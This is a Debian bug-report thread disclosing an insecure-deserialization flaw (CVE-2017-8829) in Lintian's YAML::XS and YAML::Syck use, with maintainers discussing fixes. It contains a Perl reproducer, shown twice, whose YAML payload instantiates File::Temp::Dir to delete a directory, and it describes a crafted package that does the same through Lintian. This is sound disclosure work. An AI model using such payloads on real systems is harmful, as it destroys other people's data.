Bug#861958: lintian: insecure YAML validation
clone 861958 -1
reassign -1 libyaml-syck-perl
retitle -1 libyaml-syck-perl: Unconditionally instantiates objects from yaml
data
thanks
This problem exists in libyaml-syck-perl as well. However, disabling
this feature will be easier since there's already a switch ("LoadBlessed").
Christoph
#!/usr/bin/perl
use 5.010;
use strict;
use warnings;
use File::Temp qw(tempdir);
use YAML::XS qw(LoadFile);
my $temp_dir = tempdir (
"yaml-xs-demo.$$.X",
'TMPDIR' => 1,
'CLEANUP' => 1,
);
my $temp_file = "$temp_dir/story.yaml";
my $pid = fork // die ("Cannot fork: $!");
if ($pid == 0) {
my $fh;
open ($fh, '>', $temp_file) or die $!;
print $fh <<__EOS__;
- !File::Temp::Dir
CLEANUP: 1
LAUNCHPID: $$
REALNAME: $temp_dir
__EOS__
close ($fh);
my $data = LoadFile ($temp_file);
exit 0;
}
wait;
if (-d $temp_dir) {
print "I: Pass, temp dir is still present\n";
} else {
print "F: FAIL, temp dir was purged\n";
}
signature.asc
Description: Digital signature
Bug#861958: lintian: insecure YAML validation
clone 861958 -1
reassign -1 libyaml-libyaml-perl
retitle -1 libyaml-libyaml-perl: Unconditionally instantiates objects from yaml
data
thanks
Dominique Dumont wrote...
> On samedi 6 mai 2017 13:01:50 CEST you wrote:
> > This module is happy to deserialize objects of any existing Perl class. For
> > Lintian, the File::Temp::Dir class can be abused to remove arbitrary
> > directory trees. (There might be other exciting ways to exploit this bug,
> > but I'm too lazy to investigate further.)
>
> I wonder if this behavior should be considered as a YAML bug...
At least I consider the unconditional instantiation of object a bug,
hence cloning.
As previously mentioned in debian-perl@, there is no easy solution,
assuming some code out there intentionally uses that feature, and in
a safe matter. If we choose to ignore that, at least for the time being,
we can disable the blessing entirely by dropping the three sv_bless
invocations in . This makes the attached
reproducer pass.
Before releasing that change however, there should be an audit of all
the roughly 40 packages in Debian that use YAML::XS to avoid unintended
breakage. In the worst case, that simple approach isn't feasible and
the instantiation needs to be made configurable - something that
requires coordination with upstream[1] and/or other distributions.
We should discuss this during the sprint.
Christoph
[1] But see https://github.com/perl11/cperl/issues/198
#!/usr/bin/perl
use 5.010;
use strict;
use warnings;
use File::Temp qw(tempdir);
use YAML::XS qw(LoadFile);
my $temp_dir = tempdir (
"yaml-xs-demo.$$.X",
'TMPDIR' => 1,
'CLEANUP' => 1,
);
my $temp_file = "$temp_dir/story.yaml";
my $pid = fork // die ("Cannot fork: $!");
if ($pid == 0) {
my $fh;
open ($fh, '>', $temp_file) or die $!;
print $fh <<__EOS__;
- !File::Temp::Dir
CLEANUP: 1
LAUNCHPID: $$
REALNAME: $temp_dir
__EOS__
close ($fh);
my $data = LoadFile ($temp_file);
exit 0;
}
wait;
if (-d $temp_dir) {
print "I: Pass, temp dir is still present\n";
} else {
print "F: FAIL, temp dir was purged\n";
}
signature.asc
Description: Digital signature
Bug#861958: lintian: insecure YAML validation [CVE-2017-8829]
Dominique Dumont: > Ive logged a bug to upstream YAML parser library: > > https://github.com/ingydotnet/yaml-pm/issues/176 > > HTH > Thanks. :) ~Niels
Bug#861958: lintian: insecure YAML validation [CVE-2017-8829]
Ive logged a bug to upstream YAML parser library: https://github.com/ingydotnet/yaml-pm/issues/176 HTH
Bug#861958: lintian: insecure YAML validation
On samedi 6 mai 2017 13:01:50 CEST you wrote: > Lintian uses the YAML::XS module to validate YAML in > debian/upstream/metadata. Unless debian/upstream/metadata needs fancy YAML format (e.g. anchor alias tags ...), the easiest way out it to use YAML::Tiny instead of YAML::XS. This should be a drop-in replacement. > This module is happy to deserialize objects of any existing Perl class. For > Lintian, the File::Temp::Dir class can be abused to remove arbitrary > directory trees. (There might be other exciting ways to exploit this bug, > but I'm too lazy to investigate further.) I wonder if this behavior should be considered as a YAML bug... All the best -- https://github.com/dod38fr/config-model/ -o- http://search.cpan.org/~ddumont/ http://ddumont.wordpress.com/-o- irc: dod at irc.debian.org
Bug#861958: lintian: insecure YAML validation
Package: lintian Version: 2.5.41 Tags: security Lintian uses the YAML::XS module to validate YAML in debian/upstream/metadata. This module is happy to deserialize objects of any existing Perl class. For Lintian, the File::Temp::Dir class can be abused to remove arbitrary directory trees. (There might be other exciting ways to exploit this bug, but I'm too lazy to investigate further.) I've attached proof-of-concept exploit: $ mkdir /tmp/moo $ ls -d /tmp/moo /tmp/moo $ lintian -C upstream-metadata badyaml_1.dsc $ ls -d /tmp/moo /bin/ls: cannot access '/tmp/moo': No such file or directory -- Jakub Wilk badyaml_1.tar.xz Description: application/xz Format: 3.0 (native) Source: badyaml Binary: badyaml Architecture: all Version: 1 Package-List: badyaml deb unknown unknown arch=all Checksums-Sha1: 9838fde8d6dd00bda20dc32ef430cc912e9f96d9 27928 badyaml_1.tar.xz Checksums-Sha256: d06b616c490cceaffeadaeca19e19348e2cc223aa6e1feb27343932d4f75dbf6 27928 badyaml_1.tar.xz Files: 936d4f8f7134f8b41c4f67b05dd7b3e0 27928 badyaml_1.tar.xz
